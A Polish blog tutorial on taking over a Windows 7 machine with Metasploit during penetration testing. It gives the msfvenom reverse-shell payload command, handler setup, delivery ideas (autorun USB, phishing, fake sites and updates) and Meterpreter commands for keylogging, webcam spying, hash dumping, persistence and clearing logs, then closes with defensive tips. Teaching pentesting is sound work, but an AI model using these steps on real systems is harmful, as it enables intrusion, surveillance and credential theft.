PRZEMYSŁAW SZMAJ

KALI LINUX | IT | BLOG

Cześć,
Dziś omówimy sobie możliwość przejęcia zdalnej kontroli nad  testowanym systemem podczas testów penetracyjnych.
Badanym systemem będzie Windows 7 SP1 za pomocą systemu Kali Linux w wersji 2018. Powyżej znajduje się link do nagrania, które zostało umieszczone na moim kanale na YouTube. Zapraszam do lektury.

Oglądałeś kiedyś jakiś film, gdzie przewinął się motyw przejmowana kontroli nad innym urządzeniem?

Jesteś ciekaw jak wygląda zaplecze testów penetracyjnych? Lub może chciałbyś zobaczyć jak wygląda zaplecze hakerskie? W tym odcinku zobaczysz w jaki sposób pen testerzy lub hakerzy mogą przejąć całkowitą kontrolę nad Twoim systemem. Omówimy sobie możliwe sposoby na zainfekowanie systemu oraz pokażę Ci kilka przydatnych podczas testów penetracyjnych funkcji oraz kilka bajerów.

Po co są testy penetracyjne?

Testy penetracyjne to nic innego jak legalny kontrowany hacking, za zgodą właściciela testowanego systemu, oczywiście wszystko w etycznym celu. Zazwyczaj taki test jest przeprowadzony w celu sprawdzenia poziomu bezpieczeństwa sieci, sprzętu firmowego oraz wielu innych urządzeń, które mają swój system, dla ciekawskich, można nawet włamać się na ekspres do kawy… Poważnie, dzisiejsze expressy do kawy są wyposażone w Wi-Fi, było nawet głośno parę lat temu o ataku Ransomware WannaCry w pewnej firmie, gdzie Admini doszli do tego, że cała firma padła właśnie przez express do kawy… Wracając do tematu testów. Testy penetracyjne są także jednym ze sposobów na zbieranie informacji na wszelakie tematy. 

 

Jak zostać zainfekowanym? Sposobów jest wiele.

  1. Króluje ludzka ciekawość, znalazłeś pendriva w swoim biurze na podłodze i chcesz sprawdzić czyj on jest i co ciekawego zawiera. TU POWINNA CI SIĘ ZAPALIĆ LAMPKA. Pendrive ma ustawiony plik autorun ze ścieżką do naszego pliku, który umożliwi nam dostęp. W innym odcinku omówimy sobie jak wygenerować takiego ‘złośliwego’ pendriva.
  2. Socjotechnika. Otrzymujesz fałszywego maila od przełożonego z ważnymi danymi, lub tak zakręcone informacje, że sam pobierzesz plik bo już chcesz sprawdzić. Załóżmy, że Szef wysyła maila do Pani Basi z HR’u o treści. ‘Pani Basiu, w załączniku przesyłam Pani zdjęcia do wywiadu, na zdjęciu jest cały nasz zespół, czy może Pani wybrać najlepsze?. – NO KURDE OCZYWIŚCIE, pomyślała Pani Basia, przecież nie może wyglądać kijowo na firmowej fotce. Oczywiście opcji tu jest kilka. Do fotek może być doklejony złośliwi plik, lub sam plik. Generalnie o socjotechnice moglibyśmy gadać i gadać i gadać i jeszcze raz gadać😊
  3. Wykupiona domena z literówką jakiejś strony lub atak DNS Spoofing, mający na celu podmiankę stron. Wchodzisz na stronę, a strona jest tak skonfigurowana, że nasz plik automatycznie się pobiera i uruchamia.

Warto tu jeszcze wspomnieć, bo podczas nagrywania o tym nie powiedziałem. Czym jest Metasploit ? Jest to narzędzie służące do testów penetracyjnych oraz łamania zabezpieczeń. Posiada naprawdę sporą listę gotowych exploitów. Oczywiście posiada także wbudowany interfejs, który umożliwia nam sprawne przygotowywanie własnych exploitów na bazie gotowych już komponentów. Zamysłem powstania tego systemu było ułatwienie przeprowadzania testów penetracyjnych, który usprawnia czas testu oraz tworzy nowe możliwości w testach penetracyjnych. Niestety prawda jest taka, że narzędzie nie zawsze jest wykorzystywane w etycznym celu. np. Ataki podsłuchowe, brute force czy atak na odmowę usługi – DoS




Przejdźmy do samego generowania złośliwego pliku. W terminalu należy wprowadzić poniższe polecenie

Msfvenom -p windows/meterpreter/reverse_tcp lhost=’tu podaj adres ip swojej maszyny’ lport=4444 -f exe -a x68 > ‘nazwa pliku.exe’

Tak wygenerowany plik znajduje się w katalogu z plikami a następnie należy go umieścić w testowanej maszynie. Rzecz jasna, że sposobów na umieszczenie plików jest naprawdę sporo:

  •  Przygotowanie złośliwego pendrive’a z plikiem autorun,
  • Spreparowanie fałszywego maila z załącznikiem,
  • Wygenerowanie fałszywej strony ze złośliwym kodem, który automatycznie pobiera plik,
  • Przygotowanie fałszywej aktualizacji.
Po zainfekowaniu systemu do testów penetracyjnych należy uruchomić nasłuchiwanie za pomocą poniższych poleceń.
1. Wprowadź polecenie w terminalu: ‘ msfconsole’
2. Wpisz ‘use exploit/multi/handler’
3. Wpisz set payload windows/meterpreter/reverse_tcp
4. Ustaw adres swojej maszyny – wpisz set lhost <ip> maszyny
5. Ustaw port set lport <nr portu>
6. wpisz run
 
Przebieg ilustruje poniższy rusunek
 

Następnie na testowanej maszynie musi zostać uruchomiony złośliwi plik, a skutkiem tego w oknie Metasploit pokaże się informacja o aktywnej sesji, Co ilustruje rysunek obok

Za pomocą wydania polecenia ‘help’ uzyskamy pełną listę poleceń w linii Meterpretera, zachęcam do zapoznania się z całą listą bo narzędzie daje spore możliwości.

Takie jak:

  •  Podgląd na żywo, całkowity ruch pulpitu,
  • Montaż keyloggera,
  • Stream na żywo z kamerki internetowej(o ile jest),
  • Kopiowanie plików z systemu,
  • Ściąganie skrótów haseł zapisanych w systemie(hashdumps),
  • Usuwanie zabezpieczeń firewall,
  • Oraz wiele innych.
  • Poniżej przedstawiam listę ciekawych funkcji Meterpretera. Jeśli chcesz dowiedzieć się, jak używać poszczególnych funkcji zapraszam do materiału na YouTube, odnośnik do filmu znajduje się na samej górze.

Akcje w konsoli meterpetera:

  • Wyświetlanie informacji o systemie: sysinfo
  • Przeglądanie dokumentów w systemie dir, ls itp…
  • Screenshot ekranu hosta: screenshot lub use espia a później screengrab
  • Oglądanie obrazu z hosta na żywo: screenshare
  • Oglądanie z kamerki na żywo: webcam_stream
  • Wyświetlenie wszystkich dostępnych pulpitów: enumdesktops
  • Przechwytywanie klawiszy: keyscan_start
  • Wyświetlenie przechwyconych klawiszy: keyscan_dump
  • Wyłączenie klawiatury/myszki: uictl disable keyboard / mouse
  • Wyświetlanie listy aktywnych procesów: TASKLIST
  • Zabijanie procesów: kill + nr PID np. kill 260
  • Podglądanie zawartości plików tekstowych na pulpicie: cat  plik.txt
  • Tworzenie nowych kanałów komunikacji: execute  -f notepad.exe -c
  • Kopiowanie plików w systemu ofiary: download + (nazwa pliku) np. Download plik.txt
  • Ściąganie wszelkich informacji z systemu ofiary: run winenum
  • Automatyczne tworzenie dostępu przy każdym uruchomieniu komputera ofiary: run persistence – A -S -U -I 60-p 4321 -r <ip atakującego>
  • Zmiana aktualnego katalogu: cd
  • Wyświetlanie w konsoli zawartości plików tekstowych: cat
  • Kasowanie plików: del
  • Tworzenie nowego konta: run getgui -u Hacker -p 1337
  • Tworzenie zdalnego sterowania: run getgui -e
  • Czyszczenie rejestru: clearev 
  • Wyświetlanie aktywnych sesji:  session -l
  • Pobieranie skrótów haseł: run post/windows/gather/hashdump
Oraz wiele innych, tu ogranicza nas tylko wyobraźnia…
 

Jak się przed tym uchronić:

  • Rób aktualizacje systemu, programów, wszelkich aktualizacji. (jeśli wyskoczyć Ci na pulpicie powiadomienie, że jest aktualizacja, nie ma na co czekać, zrób ją)
  • Jeśli pobierasz jakieś pliki czy programy, a zwłaszcza programy pobieraj je ze strony producenta, jest to najpewniejsze źródło i masz pewność, że nie pobierzesz programu z jakimś drobnym dodatkiem.
  • Zainstaluj sobie antywirus, nawet ten darmowy, powinien Cię uchronić przed takim atakiem i zablokować takie potencjalne zagrożenie.
  • Nie bądź podatny na socjotechnikę, staraj się myśleć i analizować, czy dany mail jest prawdziwy ale pamiętaj aby nie popadać w paranoje.